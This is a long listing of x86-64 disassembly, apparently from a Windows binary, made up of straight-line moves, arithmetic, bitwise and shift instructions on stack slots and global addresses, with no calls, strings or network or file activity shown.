movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e9], al
movzx eax, word [rsp + 0x13a4]
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1154]
and eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x8f80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6a8], rax
lea rax, section..data
mov qword [rsp + 0xae90], rax
mov rax, qword [rsp + 0x74a0]
mov rcx, qword [rsp + 0x75a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8060]
mov qword [rcx], rax
lea rax, [rsp + 0x4048]
mov qword [rsp + 0xae98], rax
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [0x140179067]
add eax, ecx
mov byte [0x140179056], al
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x8ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov byte [rsp + 0x23d], al
lea rax, [0x140179120]
mov qword [rsp + 0xaea0], rax
movzx eax, byte [rsp + 0x216]
movzx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov byte [rsp + 0x137], al
lea rax, [rsp + 0x4258]
mov qword [rsp + 0xaea8], rax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9328], rax
lea rax, [rsp + 0x9bc8]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0x9a50]
mov rcx, qword [rsp + 0x9020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d90], eax
lea rax, [0x14017916c]
mov qword [0x14017ad80], rax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x85f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1180], ax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xaeb8], rax
movsx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x9998]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9470], rax
mov rax, qword [rsp + 0x86e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8760]
mov qword [rsp + 0xaec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaec0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x83f8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c88]
mov qword [rsp + 0xaec8], rax
mov rax, qword [rsp + 0x7990]
mov rcx, qword [rsp + 0x7a30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa5b8], rax
mov rax, qword [rsp + 0x77a8]
movzx eax, word [rax]
movzx ecx, word [0x14017ac80]
add eax, ecx
mov rcx, qword [0x14017a5d8]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xaed0], rax
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [rsp + 0x11b4]
sub eax, ecx
mov word [rsp + 0xdec], ax
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1300], ax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0x8270]
mov ecx, dword [rsp + 0x3dc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x432c], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0xaee0], rax
mov rax, qword [rsp + 0x9950]
mov rcx, qword [rsp + 0x79f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4248]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fd8], eax
lea rax, [rsp + 0xe24]
mov qword [0x14017ad88], rax
mov rax, qword [rsp + 0x95a8]
movzx eax, byte [rax]
mov byte [rsp + 0x241], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
sub eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0x1104]
mov qword [rsp + 0xaee8], rax
movzx eax, byte [0x14017a55a]
movzx ecx, byte [rsp + 0x225]
add eax, ecx
mov byte [rsp + 0x1a5], al
mov rax, qword [rsp + 0x8ba8]
mov eax, dword [rax]
mov dword [rsp + 0x43e4], eax
mov eax, dword [rsp + 0x3c5c]
mov ecx, dword [rsp + 0x3e20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x40dc], eax
mov rax, qword [rsp + 0x9190]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa978]
shl rax, cl
mov qword [rsp + 0x7ca8], rax
lea rax, [rsp + 0xa890]
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0x9f88]
movzx eax, word [rax]
mov rcx, qword [0x14017abf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfcc], ax
movsx eax, byte [rsp + 0x139]
movsx ecx, byte [rsp + 0xdf]
or eax, ecx
mov byte [0x1401790e2], al
movzx eax, word [rsp + 0xfe4]
mov word [rsp + 0x1404], ax
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [rsp + 0x1e2]
and eax, ecx
mov rcx, qword [rsp + 0x85d8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc88]
movsx ecx, word [rsp + 0xd4c]
add eax, ecx
mov rcx, qword [rsp + 0x76b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x83b8]
mov rax, qword [rax]
mov qword [rsp + 0xaef8], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0xa640]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaae0], rax
lea rax, [rsp + 0x43dc]
mov qword [rsp + 0xaf00], rax
mov eax, dword [rsp + 0x4330]
mov ecx, dword [rsp + 0x41d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b8], eax
mov rax, qword [rsp + 0x86c8]
movzx eax, word [rax]
movzx ecx, word [0x14017a6f0]
sub eax, ecx
mov rcx, qword [rsp + 0x9348]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017ab20]
mov byte [rcx], al
mov rax, qword [rsp + 0x8be8]
movzx eax, byte [rax]
mov byte [rsp + 0x242], al
mov rax, qword [0x14017abe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12bc]
sub eax, ecx
mov word [rsp + 0x12d4], ax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0xaf08], rax
mov rax, qword [rsp + 0x8678]
mov rcx, qword [rsp + 0x70b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa748], rax
lea rax, [rsp + 0xade8]
mov qword [rsp + 0xaf10], rax
mov rax, qword [rsp + 0xaf00]
mov rcx, qword [rsp + 0xa290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4124], eax
mov rax, qword [rsp + 0x9f48]
mov ecx, dword [rsp + 0x3f3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cac], eax
lea rax, [rsp + 0x12fc]
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0x98e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1108]
shl eax, cl
mov word [0x14017a59c], ax
movsx eax, byte [rsp + 0x18a]
mov rcx, qword [rsp + 0x8610]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa6], al
movzx eax, word [rsp + 0x13ac]
mov word [rsp + 0x1408], ax
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
sar eax, cl
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x84a8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9600]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0e8]
mov qword [rsp + 0xaf20], rax
mov rax, qword [rsp + 0x6ca0]
mov rcx, qword [rsp + 0xacc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa5e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x43e8], eax
mov rax, qword [rsp + 0x9840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x1ba], al
lea rax, [rsp + 0x133c]
mov qword [0x14017ad90], rax
movzx eax, word [rsp + 0xec8]
mov rcx, qword [rsp + 0xaee8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1090], ax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0x8510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
lea rax, [rsp + 0x44]
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0x83b8]
mov rcx, qword [rsp + 0x78f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7648], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x3d3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x436c], eax
lea rax, [rsp + 0x4024]
mov qword [rsp + 0xaf30], rax
mov rax, qword [rsp + 0x7f10]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x82c0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe5]
movzx ecx, byte [rsp + 0x22f]
add eax, ecx
mov rcx, qword [0x14017a730]
mov byte [rcx], al
lea rax, [rsp + 0x13ec]
mov qword [rsp + 0xaf38], rax
movzx eax, word [0x14017a790]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov word [rsp + 0x12bc], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xaf40], rax
movsx eax, byte [rsp + 0x15f]
movsx ecx, byte [rsp + 0x168]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x4034]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3dec], eax
mov rax, qword [rsp + 0x9888]
mov eax, dword [rax]
mov dword [rsp + 0x43ec], eax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b8]
mov qword [rsp + 0xaf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x79a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ad0]
mov rax, qword [rax]
mov qword [rsp + 0xaf50], rax
lea rax, [rsp + 0x133c]
mov qword [0x14017ad98], rax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x117]
or eax, ecx
mov byte [rsp + 0xba], al
movsx eax, word [0x14017916c]
mov rcx, qword [rsp + 0x7cb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1350], ax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0xaf58], rax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0xa3b0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9e28]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ce8]
mov qword [rsp + 0xaf60], rax
mov eax, dword [rsp + 0x4324]
mov ecx, dword [rsp + 0x436c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cf0]
mov rcx, qword [rsp + 0x8a40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x85c8], rax
lea rax, section..data
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0xa4a0]
movzx eax, byte [rax]
mov byte [0x14017a6bc], al
mov rax, qword [rsp + 0x8e98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa678]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
movzx eax, word [rsp + 0x1210]
mov word [rsp + 0x140c], ax
movzx eax, word [0x14017908c]
movzx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0x89c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
add eax, ecx
mov rcx, qword [rsp + 0x8b18]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b58]
mov rax, qword [rax]
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x430c], eax
lea rax, [rsp + 0xa108]
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0xaaa0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d4]
and eax, ecx
mov byte [0x1401790d7], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x244], al
movsx eax, word [rsp + 0xfd0]
movsx ecx, word [rsp + 0xdf4]
add eax, ecx
mov rcx, qword [rsp + 0x8360]
mov word [rcx], ax
mov rax, qword [rsp + 0xa200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11d0]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9960]
mov word [rcx], ax
movzx eax, word [rsp + 0x1238]
mov word [rsp + 0x1410], ax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7a58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x83c8]
mov rax, qword [rax]
mov qword [rsp + 0xaf80], rax
mov rax, qword [rsp + 0xa5a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42bc]
shr eax, cl
mov dword [rsp + 0x43e4], eax
mov eax, dword [0x140179004]
movzx ecx, al
mov eax, dword [rsp + 0x4388]
shl eax, cl
mov dword [rsp + 0x3e04], eax
lea rax, [rsp + 0x1374]
mov qword [0x14017ada0], rax
mov rax, qword [rsp + 0x7f50]
movzx eax, byte [rax]
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0x87f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
xor eax, ecx
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xaf88], rax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x7460]
mov rcx, qword [rsp + 0xa6c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x79c8]
mov eax, dword [rax]
mov dword [rsp + 0x43f0], eax
mov eax, dword [rsp + 0x430c]
mov ecx, dword [rsp + 0x3de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0x84c8]
mov rax, qword [rax]
mov qword [rsp + 0xaf90], rax
mov rax, qword [rsp + 0x9390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8058]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017ac90]
mov byte [rcx], al
mov rax, qword [rsp + 0x87a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
sub eax, ecx
mov rcx, qword [rsp + 0xa3f8]
mov word [rcx], ax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0xaf98], rax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10e0]
add eax, ecx
mov word [rsp + 0xc80], ax
movzx eax, byte [rsp + 0x192]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x8ca8]
mov qword [rsp + 0xafa0], rax
mov rax, qword [rsp + 0x7fd0]
mov ecx, dword [rsp + 0x3d4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x429c], eax
lea rax, [rsp + 0x74a0]
mov qword [rsp + 0xafa8], rax
mov rax, qword [rsp + 0x9930]
mov ecx, dword [rsp + 0x3f40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c0], eax
lea rax, [rsp + 0x4b]
mov qword [0x14017ada8], rax
movsx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0xa930]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x246], al
mov rax, qword [0x14017ac70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf90]
sar eax, cl
mov word [rsp + 0xfcc], ax
lea rax, [rsp + 0x11a]
mov qword [rsp + 0xafb0], rax
mov rax, qword [rsp + 0x7be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x72f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4308]
shl eax, cl
mov rcx, qword [rsp + 0x9200]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov qword [rsp + 0xafb8], rax
mov rax, qword [rsp + 0x7ca0]
mov rcx, qword [rsp + 0x7e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x94d0], rax
movzx eax, word [rsp + 0xcd0]
mov word [rsp + 0x1414], ax
movzx eax, byte [rsp + 0x1d4]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [0x1401790b2], al
mov rax, qword [rsp + 0xa590]
movsx eax, word [rax]
mov rcx, qword [0x14017a828]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x13e]
mov rcx, qword [rsp + 0x9f60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov byte [rcx], al
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x1418], ax
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x3ca8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c6c], eax
lea rax, [rsp + 0x9ef8]
mov qword [rsp + 0xafc0], rax
mov rax, qword [rsp + 0x9890]
mov rcx, qword [rsp + 0xa598]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8668]
mov qword [rcx], rax
lea rax, [rsp + 0x3e58]
mov qword [rsp + 0xafc8], rax
mov rax, qword [0x14017ab50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12d], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x7a80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4e6], al
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1040]
add eax, ecx
mov word [rsp + 0x1074], ax
movzx eax, byte [rsp + 0x23e]
mov byte [rsp + 0x247], al
movzx eax, word [rsp + 0xec4]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7eb0]
mov word [rcx], ax
lea rax, [0x14017a4d0]
mov qword [rsp + 0xafd0], rax
mov rax, qword [rsp + 0x96a8]
mov rcx, qword [rsp + 0x72b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f00], rax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4164], eax
mov rax, qword [rsp + 0x8220]
mov qword [rsp + 0xafd8], rax
mov rax, qword [rsp + 0xa658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xac], al
movsx eax, byte [rsp + 0x1c7]
mov rcx, qword [rsp + 0x9558]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401790e3], al
lea rax, [0x1401790d4]
mov qword [rsp + 0xafe0], rax
movsx eax, word [rsp + 0x1248]
mov rcx, qword [rsp + 0x95b8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7e40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x7a]
sar eax, cl
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x9788]
mov eax, dword [rax]
mov dword [rsp + 0x43f4], eax
mov rax, qword [rsp + 0x7810]
mov ecx, dword [rsp + 0x3edc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43d8], eax
lea rax, [rsp + 0xa7a8]
mov qword [rsp + 0xafe8], rax
mov rax, qword [rsp + 0x8a58]
mov rcx, qword [rsp + 0x8a08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa508]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x139]
mov byte [rsp + 0x248], al
lea rax, [rsp + 0x1388]
mov qword [0x14017adb0], rax
mov rax, qword [rsp + 0x8968]
movzx eax, byte [rax]
mov rcx, qword [0x14017a9f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x95b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ce0]
mov word [rcx], ax
movzx eax, word [rsp + 0xe44]
mov word [rsp + 0x141c], ax
movzx eax, byte [rsp + 0xaf]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x7708]
mov rax, qword [rax]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0x9fe0]
mov rcx, qword [rsp + 0xaf80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x9d48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe8], eax
lea rax, [rsp + 0x3dbc]
mov qword [rsp + 0xaff8], rax
movzx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x8820]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a528]
mov word [rcx], ax
mov rax, qword [rsp + 0x9490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8898]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7568]
mov word [rcx], ax
mov rax, qword [rsp + 0x8be8]
movzx eax, byte [rax]
mov byte [rsp + 0x249], al
mov rax, qword [rsp + 0xaed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17d]
or eax, ecx
mov byte [rsp + 0x20a], al
mov rax, qword [0x14017a8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee4]
cdq
idiv ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x8cd0]
mov rax, qword [rax]
mov qword [rsp + 0xb000], rax
mov rax, qword [rsp + 0x7678]
movzx ecx, al
mov rax, qword [rsp + 0xada8]
shl rax, cl
mov qword [rsp + 0x7fa8], rax
lea rax, [rsp + 0x3ca0]
mov qword [rsp + 0xb008], rax
mov rax, qword [rsp + 0xa4d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4250]
shr eax, cl
mov rcx, qword [rsp + 0x7b98]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x8a38]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401791a8], ax
mov rax, qword [rsp + 0x8670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ad], al
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x1420], ax
movzx eax, word [rsp + 0xe64]
movzx ecx, word [rsp + 0x1034]
imul eax, ecx
mov rcx, qword [rsp + 0xa200]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x9310]
mov rcx, qword [rsp + 0x8130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7068], rax
lea rax, [rsp + 0x4210]
mov qword [rsp + 0xb010], rax
mov rax, qword [rsp + 0x7370]
mov rcx, qword [rsp + 0x7df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf60], rax
mov eax, dword [rsp + 0x43e0]
mov ecx, dword [rsp + 0x3d7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4154], eax
movzx eax, word [rsp + 0x1380]
movzx ecx, word [rsp + 0x11b4]
sub eax, ecx
mov word [0x14017a708], ax
lea rax, [rsp + 0x180]
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x83e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x72a8]
mov byte [rcx], al
lea rax, [rsp + 0xcf8]
mov qword [rsp + 0xb020], rax
movsx eax, byte [rsp + 0xab]
movsx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x86a8]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x86e8]
mov eax, dword [rax]
mov dword [rsp + 0x43f8], eax
mov rax, qword [rsp + 0x8060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa390], rax
mov eax, dword [rsp + 0x4180]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0x8670]
movzx eax, byte [rax]
mov byte [0x14017a6bd], al
movzx eax, word [rsp + 0x10e4]
movzx ecx, word [rsp + 0x10ac]
add eax, ecx
mov word [rsp + 0x1368], ax
movsx eax, byte [rsp + 0x14c]
mov rcx, qword [rsp + 0xa6c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0x118c]
mov word [rsp + 0x1424], ax
movzx eax, byte [0x14017a69a]
mov rcx, qword [rsp + 0xa940]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x240], al
lea rax, [rsp + 0x4164]
mov qword [rsp + 0xb028], rax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0x8870]
mov qword [rsp + 0xb030], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb030]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xad00], rax
mov eax, dword [rsp + 0x3c50]
movzx ecx, al
mov eax, dword [0x140179004]
shl eax, cl
mov rcx, qword [rsp + 0x8b10]
mov dword [rcx], eax
lea rax, [rsp + 0xaa88]
mov qword [rsp + 0xb038], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900c]
and eax, ecx
mov rcx, qword [0x14017a900]
mov byte [rcx], al
movsx eax, word [rsp + 0xe98]
movsx ecx, word [rsp + 0x10dc]
sub eax, ecx
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x8cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x24b], al
mov rax, qword [rsp + 0x82d8]
movzx eax, word [rax]
mov rcx, qword [0x14017a9d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf6c], ax
movzx eax, word [rsp + 0xcf8]
mov word [rsp + 0x1428], ax
mov eax, dword [rsp + 0x3e8c]
mov ecx, dword [rsp + 0x3e78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0xa1c8]
mov rcx, qword [rsp + 0x70f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b68]
mov qword [rcx], rax
lea rax, [rsp + 0x3f88]
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0x94a8]
mov rcx, qword [rsp + 0x9050]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f30], rax
